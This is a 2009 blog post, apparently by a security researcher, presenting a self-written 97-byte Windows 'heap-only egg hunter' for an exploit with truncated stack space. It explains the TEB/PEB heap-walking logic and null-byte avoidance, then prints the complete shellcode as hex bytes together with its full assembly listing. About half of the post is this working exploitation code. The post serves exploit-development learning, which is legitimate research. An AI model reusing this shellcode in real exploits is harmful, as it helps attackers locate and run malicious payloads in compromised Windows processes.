Friday, March 13, 2009

[ Heap-only Egg Hunter ]

As Nate said in a recent blog post, it's often useful to reinvent the wheel, if only for one's own edification. Through attempting to write my own egg hunter I learned much more than I would have if I had simply plugged in skape's.

The exploit itself was very simple, but one of the issues we faced was reliability. The payload was being truncated when it was moved to the stack so we only had approximately 200 bytes to work with. However, the full payload was located in several different heaps throughout memory so this was a classic case for an egg hunter.

My idea was to write shellcode that would search only the heap for the full payload based on a lookout value which could also double as a sled. As I discovered, one of the important limiting factors in writing an egg hunter is the minimum size needed for a main payload (e.g. executing a command on the operating system). It's not very useful to have an egg hunter that is, for instance, 250 bytes. Kind of defeats the purpose. Mine ended up being 102 bytes, and I cheated a bit.

It does search the system heaps, but it also searches a bit more. Abstractly, here's how my egg hunter works:
  • Get address of TEB
  • Get address of PEB from TEB + 0x30
  • Get address of list of process heaps from PEB + 0x90
  • Get address of first heap
  • Add 0x100000 to heap address and push onto stack
  • Check if memory being pointed to is greater than heap base + 0x100000
    • If yes, start searching the next heap in the list
  • Check if memory being pointed to is accessible
  • Compare 4 bytes to lookout value
    • If equal check the next 4 bytes
      • If equal, jump there and slide into payload
      • If not equal increment the address being checked
    • If not equal increment the address being checked
The ideal way for this to have worked would have been to have it actually walk the heap lists, checking only the allocated memory segments. But, as mentioned above, there were size constraints.

By the way, I used skape's code for checking memory to see if it's accessible in my egg hunter. Worked beautifully.

In hex bytes:
$hunter =
"\xeb\x03".
"\x59".
"\xeb\x05".
"\xe8\xf8\xff\xff\xff".
"\x83\xc1\x0f".
#"\xb8\x41\x41\x41\x18".
"\xb8\x41\x41\x41\x30".
"\xc1\xe8\x18".
"\x89\x01".
"\x64\xa1\x41\x41\x41\x41".
#"\x8b\x40\x30".
#"\xb3\x90".
#"\x02\xc3".
"\x04\x90".
"\x8b\x38".
"\x33\xc9".
"\xb5\x10".
"\xc1\xe1\x08".
"\xb7\x03".
"\xb3\xe8".
"\xeb\x03".
"\x83\xc7\x04".
"\x8b\x37".
"\x03\xce".
"\x51".
"\xeb\x02".
"\x03\xf3".
"\x3b\x34\x24".
"\x7f\xef".
"\x8b\xd6".
"\x6a\x02".
"\x58".
"\xcd\x2e".
"\x3c\x05".
"\x74\xee".
"\x81\x3e\x42\x4a\x42\x4a".
"\x75\xe6".
"\x83\xfd\x01".
"\x75\x02".
"\xff\xe6".
"\x83\xc6\x04".
"\x33\xed".
"\x45".
"\xeb\xde";

In assembly:
jmp short 0x03
pop ecx
jmp short 0x05
call 0xf8
add ecx,0x0f
mov eax,0x30414141
shr eax,18
mov dword ptr[ecx],eax
mov eax,dword ptr fs[0x41414141]
add al,0x90
mov edi,dword ptr[eax]
xor ecx,ecx
mov ch,0x10
shl ecx,0x08
mov bh,0x03
mov bl,0xe8
jmp short 0x03
add edi,0x04
mov esi,dword ptr[edi]
add ecx,esi
push ecx
jmp short 0x02
add esi,ebx
cmp esi,dword ptr[esp]
jg short 0xef
mov edx,esi
push 0x02
pop eax
int 0x2e
cmp al,0x05
je short 0xee
cmp dword ptr[esi],0x4a424a42
jnz short 0xe6
cmp ebp,0x01
jnz short 0x02
jmp esi
add esi,0x04
xor ebp,ebp
inc ebp
jmp short 0xde

I'm sure this could probably be optimized and/or made to work more efficiently, but I am no assembly programmer.

edit: Another bit of code for my egg hunter that I got from elsewhere are the first 4 instructions. I took them from the Metasploit payloads. They are used to get the address where the

add ecx,0x0f

instruction resides on the stack as a reference point. The Metasploit payloads use these instructions to begin the process of decoding an encoded payload. A few instructions later I use my reference point to modify the

mov eax,dword ptr fs[0x41414141]

instruction in memory. I needed to do this in order to have the correct hex opcodes in memory to assemble into the following instruction:

mov eax,dword ptr fs[0x18]

That instruction assembles as \x64\xa1\x18\x00\x00\x00 which is obviously no good in a payload brought into the program as a string. The purpose of that instruction is to get the address of the TEB and put it into eax, which I then use an offset of to get the address of the PEB.

edit 2: I've modified the shellcode and assembly to reflect a change suggested by Jordan in the comments below and another small change I noticed would decrease the size of the shellcode. It's now < 100 bytes (97 bytes).

Labels: , , , , , ,